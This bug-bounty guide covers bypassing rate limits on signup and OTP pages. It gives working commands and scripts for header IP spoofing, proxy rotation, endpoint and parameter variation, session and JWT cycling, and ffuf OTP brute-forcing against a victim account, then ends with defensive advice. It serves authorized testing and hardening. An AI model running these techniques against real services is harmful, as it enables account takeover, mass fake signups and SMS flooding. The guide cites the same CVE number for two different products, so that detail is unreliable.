NO RATE LIMIT

SIGNUP PAGE BYPASS

Comprehensive Guide

Techniques from X.com, Medium, LinkedIn & Bug Bounty Community

Header Manipulation | IP Spoofing | Endpoint Variations | OTP Abuse

Protocol Downgrade | Parameter Pollution | Session Cycling

Compiled: May 2026

TABLE OF CONTENTS

1. UNDERSTANDING RATE LIMITING

Rate limiting is a security control that restricts the number of actions a user can perform in a given timeframe. It prevents abuse, brute-force attacks, and resource exhaustion. Without proper rate limits, applications are wide open for automated attacks.

WARNING: Critical Impact
A fintech platform once lost over $200,000 due to attackers brute-forcing OTPs by rotating IPs. No rate limiting on signup pages can lead to mass account creation, credential stuffing, and complete platform abuse.

Common Rate Limit Implementations

- IP-based: Limits requests per IP address (easiest to bypass)
- Session-based: Tracks requests per session ID or cookie
- Account-based: Limits per user account or token
- Device fingerprint: Uses browser/device characteristics
- Behavioral: Analyzes request patterns and timing

Why Signup Pages Are Prime Targets

Signup pages are particularly vulnerable because:
1. They must be publicly accessible (no authentication required)
2. They often lack CAPTCHA on initial load
3. OTP verification endpoints may have different limits than the signup form
4. Multiple sub-endpoints (email check, username availability, OTP send) may have inconsistent protection
5. Mobile API endpoints often have weaker protections than web endpoints

2. ATTACK SURFACE ON SIGNUP PAGES

Before attempting bypasses, map the entire signup flow. Attackers look for multiple touchpoints where rate limiting might be inconsistently applied.

Key Endpoints to Test

- POST /signup or /register - Main registration endpoint
- POST /api/v1/users - API user creation
- POST /auth/register - Authentication service
- POST /send-otp or /verify-otp - OTP flow endpoints
- POST /check-email or /check-username - Availability checks
- POST /resend-verification - Email verification resend
- GET /validate?token=xxx - Email validation links
- GraphQL mutations: createUser, registerUser, sendOTP

TIP: Reconnaissance Strategy
Always test both web and mobile API endpoints. Mobile apps often use separate API gateways with different rate limiting policies. Check for older API versions (/api/v1/, /api/v2/) that may lack protections added in newer versions.

WARNING: Legal & Ethical Notice
This guide is for authorized penetration testing and bug bounty programs only. Testing rate limits on production systems without explicit permission is illegal and violates most platforms terms of service.

3. HEADER MANIPULATION TECHNIQUES

Many rate limiters rely on HTTP headers to identify clients. By manipulating these headers, attackers can make requests appear to come from different sources.

[3.1] X-Forwarded-For IP Spoofing

The most common bypass technique. Servers behind reverse proxies often use X-Forwarded-For to determine the client IP. If the rate limiter trusts this header without validation, attackers can spoof arbitrary IPs.

```
# Test with Burp Repeater:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.1
X-Forwarded-For: 10.0.0.1

# Rotate IPs automatically:
X-Forwarded-For: 1.1.1.1
X-Forwarded-For: 1.1.1.2
X-Forwarded-For: 1.1.1.3
```

[3.2] X-Real-IP & Related Headers

Different proxies use different headers. Test all variations to find which one the rate limiter actually checks.

```
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
CF-Connecting-IP: 1.2.3.4
True-Client-IP: 1.2.3.4
```

[3.3] Host Header Injection

Some rate limiters associate limits with the Host header. Changing it to localhost or a different domain may reset the counter.

```
Host: localhost
Host: 127.0.0.1
Host: www.newsite.com
Host: target.com:8080
```

TIP: Burp Extension

Use FakeIP or IP Rotate Burp extensions to automatically rotate IP addresses in X-Forwarded-For headers. IP Rotate uses AWS API Gateway to give you a new IP on every request.

4. IP SPOOFING & ROTATION

When rate limiting is strictly IP-based, attackers use proxy networks to distribute requests across thousands of IP addresses.

[4.1] Proxy Chains & VPN Rotation

Use multiple proxies, VPNs, or Tor circuits to change IP after each request. If a form allows 5 attempts per IP, 100 proxies = 500 attempts.

```
# Using proxychains with Burp:
proxychains curl -X POST https://target.com/signup \
  -d "email=test@example.com&password=123456"

# Tor rotation:
sudo service tor restart  # Gets new exit node
```

[4.2] Burp Suite IP Rotator

Professional tools can automate IP rotation. The IP Rotate extension uses AWS API Gateway to create a new IP for every request.

```
# Install from BApp Store:
# Extensions -> BApp Store -> IP Rotate

# Configure:
# - Add AWS Access Key
# - Select region
# - Enable for specific target scope

# Result: Every request comes from different AWS IP
```

[4.3] Residential Proxy Services

For high-volume attacks, residential proxy networks provide millions of real IPs. Services like Bright Data, Oxylabs, and Smartproxy offer rotating residential proxies.

```
# Example with Python requests:
import requests
proxies = {
    'http': 'http://user:pass@gate.smartproxy.com:7000',
    'https': 'http://user:pass@gate.smartproxy.com:7000'
}
response = requests.post('https://target.com/signup',
                         data=payload, proxies=proxies)
```

WARNING: Detection Risk

Some platforms detect and block known proxy/VPN IP ranges. Residential proxies are harder to detect but more expensive. Always check if your proxy IPs are blacklisted using ipinfo.io or similar services.

5. ENDPOINT VARIATION METHODS

Applications often expose multiple endpoints for the same functionality. Rate limiting may only be applied to the primary endpoint, leaving alternatives unprotected.

[5.1] Case Sensitivity Bypass

If the rate limiter uses exact string matching for URLs without normalization, changing the case creates a 'different' endpoint.

```
# Original (rate limited):
POST /api/v1/signup

# Bypass attempts:
POST /api/v1/SIGNUP
POST /api/v1/SignUp
POST /API/v1/signup
POST /api/V1/signup
```

[5.2] API Version Rotation

Older API versions may lack rate limiting that exists in newer versions. Always test all documented versions.

```
POST /api/v1/signup
POST /api/v2/signup
POST /api/v3/signup
POST /api/signup
POST /v1/signup
POST /v2/signup
```

[5.3] Path Variations & Alternate Routes

Different paths may lead to the same backend function but bypass middleware rate limiting.

```
POST /signup
POST /register
POST /auth/signup
POST /auth/register
POST /users/create
POST /account/create
POST /customers/signup
POST /mobile/signup
POST /api/auth/register
POST /rest/v1/users
```

[5.4] Trailing Characters & Encoding

Adding trailing slashes, dots, or URL-encoded characters may bypass exact-match rate limiters.

```
POST /signup/
POST /signup.
POST /signup//
POST /signup?
POST /signup#fragment
POST /signup%20
POST /signup%00
POST /signup%2f
```

6. PARAMETER MANIPULATION

Adding, modifying, or duplicating parameters can make requests appear unique to poorly implemented rate limiters.

[6.1] Random Parameter Injection

Adding unnecessary parameters makes the request URL unique, potentially bypassing rate limiters that key on full URL strings.

```
# Original:
POST /signup?email=test@example.com

# Bypass attempts:
POST /signup?email=test@example.com&random=123
POST /signup?email=test@example.com&timestamp=1234567890
POST /signup?email=test@example.com&cache=bust
```

[6.2] HTTP Parameter Pollution (HPP)

Sending duplicate parameters can confuse the rate limiter. The WAF might check the first parameter while the backend uses the second.

```
# Rate limiter checks first email, backend uses second:
POST /signup
Content-Type: application/x-www-form-urlencoded

email=blocked@example.com&email=actual@example.com&password=123456

# Or in URL:
POST /signup?email=blocked@example.com&email=actual@example.com
```

[6.3] Null Byte & Control Character Injection

Null bytes and control characters can terminate strings in poorly coded rate limiters while being ignored by the backend.

```
# Null byte injection:
email=test@example.com%00
email=test@example.com%0d%0a
email=test@example.com%09
email=test@example.com%0c
email=test@example.com%20
```

[6.4] Parameter Name Variations

Backend frameworks often accept multiple parameter names for the same field. The rate limiter might only check the standard name.

```
email=test@example.com
user=test@example.com
username=test@example.com
login=test@example.com
id=test@example.com

password=123456
pass=123456
pwd=123456
passwd=123456
key=123456
```

7. SESSION & COOKIE CYCLING

When rate limiting is tied to session identifiers, obtaining new sessions resets the counter. This is especially effective against per-session limits.

[7.1] Session ID Rotation

If the signup flow issues a session ID before OTP verification, requesting a new session resets the OTP attempt counter.

```
# Step 1: Start new session (no rate limit here)
GET /signup -> Receive session cookie: sessionid=abc123

# Step 2: Send OTP attempts until blocked
POST /verify-otp (5 attempts blocked)

# Step 3: Start new session to reset counter
GET /signup -> Receive new session: sessionid=xyz789

# Step 4: Continue OTP attempts
POST /verify-otp (5 more attempts)
```

[7.2] JWT Forging & Manipulation

If the rate limiter uses a UUID from a JWT without verifying the signature, attackers can forge JWTs with arbitrary IDs to get fresh rate limit keys.

```
# Original JWT payload:
{"id": "user-123", "exp": 1234567890}

# Forged JWT (no signature verification):
{"id": "user-999", "exp": 1234567890}

# Result: Rate limiter sees new user ID, resets counter
# This was a real vulnerability in Outline (CVE reference)
```

[7.3] Cookie Clearing & Incognito

Simply clearing cookies or using incognito mode can reset browser-based rate limiting that relies on client-side identifiers.

```
# Manual method:
1. Send requests until blocked
2. Clear all cookies for domain
3. Open new incognito window
4. Continue sending requests

# Automated with Burp:
# Use macro to clear cookies between requests
# Or use session handling rules to drop cookies
```

TIP: Real-World Example

In a disclosed bug bounty report, an attacker found that the rate limit key was derived from an unverified JWT 'id' claim. By changing the UUID in the JWT payload, they could bypass the 5-per-minute limit and brute-force 900,000 OTP combinations.

8. PROTOCOL & METHOD SWITCHING

Rate limiters may apply different logic based on HTTP protocol version or request method. Switching these can bypass restrictions.

[8.1] HTTP Method Switching

Some rate limiters only check POST requests. Converting to GET or using alternative methods may bypass the limit entirely.

```
# Blocked:
POST /signup
Content-Type: application/x-www-form-urlencoded
email=test@example.com&password=123456

# Bypass attempts:
GET /signup?email=test@example.com&password=123456
PUT /signup
PATCH /signup
DELETE /signup
OPTIONS /signup
HEAD /signup
```

[8.2] Protocol Downgrade (HTTP/2 -> HTTP/1.1)

HTTP/2 multiplexes requests over a single connection. Some rate limiters count connections for HTTP/1.1 but requests for HTTP/2. Downgrading can exploit this difference.

```
# HTTP/2 (rate limited by request count):
:method: POST
:path: /signup
:authority: target.com

# HTTP/1.1 (rate limited by connection):
POST /signup HTTP/1.1
Host: target.com

# Tools: Use Burp's HTTP/2 toggle or curl --http1.1
```

[8.3] Content-Type Manipulation

Changing Content-Type headers can bypass rate limiters that key on specific content types or bypass WAF rules.

```
Content-Type: application/json
Content-Type: application/x-www-form-urlencoded
Content-Type: text/plain
Content-Type: multipart/form-data
Content-Type: application/xml
```

9. OTP & 2FA BYPASS CHAINS

Signup flows with OTP verification are particularly vulnerable. The OTP endpoint often has weaker protection than the main signup form.

[9.1] OTP Brute Force

Without rate limiting, attackers can try all possible OTP combinations. A 6-digit OTP has 900,000 possibilities and can be brute-forced within the typical 10-minute validity window.

```
# Generate OTP wordlist:
for i in {100000..999999}; do echo $i; done > pins.txt

# Brute force with ffuf:
ffuf -mode pitchfork -w pins.txt:PIN -X POST \
  -u https://target.com/verify-otp \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@example.com","code":"PIN"}' \
  -mc 302 -fr "invalid-code"
```

[9.2] OTP Reusability

If the application doesn't invalidate used OTPs and has a long expiration time, attackers can reuse a valid OTP or brute-force at leisure.

```
# Test:
1. Request OTP
2. Use OTP successfully
3. Wait 5 minutes
4. Submit same OTP again
5. If accepted = vulnerability exists

# Impact: Even complex 7-digit OTPs can be brute-forced
# over extended periods if not invalidated
```

[9.3] Response Code Manipulation

Sometimes the rate limit returns 429, but the valid OTP still returns 200 even after the limit is triggered. Always check if the valid response still works when blocked.

```
# After 20 failed attempts (429 returned):
# Try the CORRECT OTP
# If 200 is returned = bypass exists!
# The rate limit only blocks incorrect attempts
```

[9.4] OTP Leakage in Response

Always check server responses for OTP leakage. Some applications include the OTP in JSON responses, hidden fields, or error messages.

```
# Check for:
{"status": "success", "otp": "123456"}
{"message": "OTP 123456 sent to user"}
<!-- OTP: 123456 -->
Set-Cookie: otp=123456
```

WARNING: Meet-in-the-Middle Attack

For 7+ digit OTPs without rate limiting, attackers can parallelize: request new OTPs continuously while brute-forcing the current one. Eventually, a guessed OTP will match a recently sent one.

10. ADVANCED TECHNIQUES

These techniques target modern architectures and require deeper understanding of the application stack.

[10.1] WebSocket Upgrade Bypass

Many edge rate limiters only inspect the initial HTTP request. After upgrading to WebSocket, subsequent messages bypass per-request counters.

```
# Connect via WebSocket:
websocat ws://target.com/api/verify-ws

# Send multiple OTP guesses in one connection:
{"action": "verify", "code": "111111"}
{"action": "verify", "code": "111112"}
{"action": "verify", "code": "111113"}
# All sent through single WebSocket connection!
```

[10.2] gRPC Streaming Bypass

Similar to WebSockets, gRPC bidirectional streaming allows multiple operations within a single HTTP/2 connection, bypassing request-based rate limiting.

```
# Using grpcurl:
grpcurl -d @ -plaintext target.com:50051 \
  service.Auth/VerifyOTPStream <<'EOF'
{"email":"victim@example.com","code":"111111"}
{"email":"victim@example.com","code":"111112"}
{"email":"victim@example.com","code":"111113"}
EOF
```

[10.3] Batch/Bulk Endpoint Abuse

Some APIs expose batch endpoints like /v2/batch that accept multiple operations. If rate limiting is only on individual endpoints, batch requests bypass it entirely.

```
POST /api/v2/batch
Content-Type: application/json

[
  {"path": "/signup", "method": "POST",
   "body": {"email":"user1@test.com","pass":"123"}},
  {"path": "/signup", "method": "POST",
   "body": {"email":"user2@test.com","pass":"123"}},
  {"path": "/signup", "method": "POST",
   "body": {"email":"user3@test.com","pass":"123"}}
]
```

[10.4] Timing the Sliding Window

Token-bucket limiters reset on fixed time boundaries. Firing maximum requests just before reset, then immediately after, doubles throughput.

```
# If limit is 10/minute with reset at :00:
# Fire 10 requests at 00:00:59
# Fire 10 requests at 00:01:00
# Total: 20 requests in 1 second!
```

11. REAL-WORLD CASE STUDIES

Case Study 1: Outline OTP Rate Limit Bypass (CVE-2023-46745)

The Outline application had two critical vulnerabilities:

1. JWT Forging: The rate limiter used the 'id' claim from a JWT cookie without verifying the signature. Attackers could forge JWTs with arbitrary UUIDs to reset their rate limit key.

2. X-Forwarded-For Spoofing: In production deployments with misconfigured reverse proxies, the rate limiter fell back to IP-based limiting using the X-Forwarded-For header, which attackers could spoof.

Impact: With rate limiting bypassed, attackers could brute-force the 900,000 possible 6-digit OTP combinations within the 10-minute validity window, leading to complete account takeover.

Case Study 2: Fintech Platform OTP Abuse

A bug bounty hunter found that a fintech platform's send-OTP endpoint had no rate limiting. By capturing the request in Burp Suite and sending it to Intruder with a null payload, they could:

- Flood any phone number with unlimited OTP SMS messages
- Cause financial damage through SMS gateway costs
- Harass users with continuous OTP messages
- Deplete the SMS provider's credit balance

The vulnerability was classified as P2 (High) due to resource exhaustion and user harassment potential.

Case Study 3: LibreNMS Login Brute Force (CVE-2023-46745)

LibreNMS had no rate limiting on the login method. Attackers could perform unlimited brute-force attempts against user accounts. The vulnerability was fixed in version 23.11.0 by implementing proper rate limiting and account lockout mechanisms.

TIP: Bug Bounty Tip
When reporting no-rate-limit findings, always demonstrate real impact. Mass account creation, OTP flooding, or credential stuffing proofs are more valuable than simply showing 200 OK responses. Calculate the business impact: SMS costs, support ticket volume, or potential account takeovers.

12. TOOLS & AUTOMATION

Burp Suite Extensions

- IP Rotate: Uses AWS API Gateway for automatic IP rotation on every request
- FakeIP: Forges IP addresses in headers for bypass testing
- Turbo Intruder: High-speed HTTP attack tool with custom scripting
- Autorize: Tests authorization bypasses across endpoints

Command Line Tools

```
# ffuf - Fast web fuzzer
ffuf -u https://target.com/signup -X POST \
  -d "email=FUZZ@example.com&password=123456" \
  -w emails.txt -t 100

# wfuzz - Alternative fuzzer
wfuzz -c -z file,emails.txt -d "email=FUZZ&password=123" \
  https://target.com/signup

# proxychains - Route through proxy network
proxychains curl -X POST https://target.com/signup \
  -d "email=test@example.com&password=123"

# websocat - WebSocket testing
websocat ws://target.com/api/verify-ws < otp_list.txt
```

Automation Scripts

```
# Python script for header rotation bypass
import requests
import random

headers_pool = [
    {'X-Forwarded-For': f'192.168.1.{random.randint(1,255)}'},
    {'X-Real-IP': f'10.0.0.{random.randint(1,255)}'},
    {'X-Client-IP': f'172.16.0.{random.randint(1,255)}'}
]

for i in range(1000):
    headers = random.choice(headers_pool)
    headers['User-Agent'] = f'Mozilla/5.0 (Test{i})'

    r = requests.post('https://target.com/signup',
        data={'email': f'user{i}@test.com', 'password': '123456'},
        headers=headers)
    print(f"Request {i}: {r.status_code}")
```

13. DEFENSIVE RECOMMENDATIONS

Understanding bypass techniques is essential for building robust defenses. Here are comprehensive recommendations for developers and security engineers.

Multi-Layered Rate Limiting

Combine multiple factors for defense in depth:
- IP address + subnet (not just exact IP)
- User account/token (per-account limits)
- Session ID (per-session limits)
- Device fingerprint (browser, OS, screen size)
- Behavior patterns (timing, request sequence)

Example rule: Max 5 signup attempts per IP per hour, AND max 3 per email per day, AND max 10 per device fingerprint per day.

Secure Header Parsing

- Never trust X-Forwarded-For from clients directly
- Use a whitelist of trusted proxy IPs
- Validate header formats (reject malformed IPs)
- Prefer connecting IP over forwarded headers when possible
- Implement header normalization (strip unexpected headers at edge)

Endpoint Consistency

- Apply rate limiting at the application layer, not just WAF
- Normalize URLs before rate limit checks (lowercase, remove trailing chars)
- Apply limits to ALL API versions, including deprecated ones
- Protect batch/bulk endpoints with stricter limits
- Rate limit GraphQL queries by complexity, not just count

OTP & Authentication Hardening

- Limit OTP attempts to 3-5 per code, then invalidate the code
- Use exponential backoff after failed attempts (1min, 5min, 15min)
- Implement account lockout after repeated failures
- Use strong OTPs (6+ digits or alphanumeric)
- Set short TTL (5-10 minutes maximum)
- Never leak OTPs in responses or logs

Monitoring & Alerting

- Monitor for unusual traffic patterns (spikes in signup attempts)
- Alert on multiple failed OTPs from same IP/subnet
- Log all rate limit triggers for forensic analysis
- Use CAPTCHA after 2-3 failed attempts
- Implement progressive friction (email verification, phone check)

WARNING: Common Mistake
Don't expose rate limit headers like X-RateLimit-Limit or X-RateLimit-Remaining. These give attackers intelligence about your defenses. Return generic 429 responses without timing information.

HAPPY HUNTING!

Stay Ethical. Stay Curious.

Report Responsibly.

Sources: Medium, X.com, LinkedIn, HackTricks, Bug Bounty Reports

CVE References: CVE-2023-46745, GHSA-cwhc-53hw-qqx6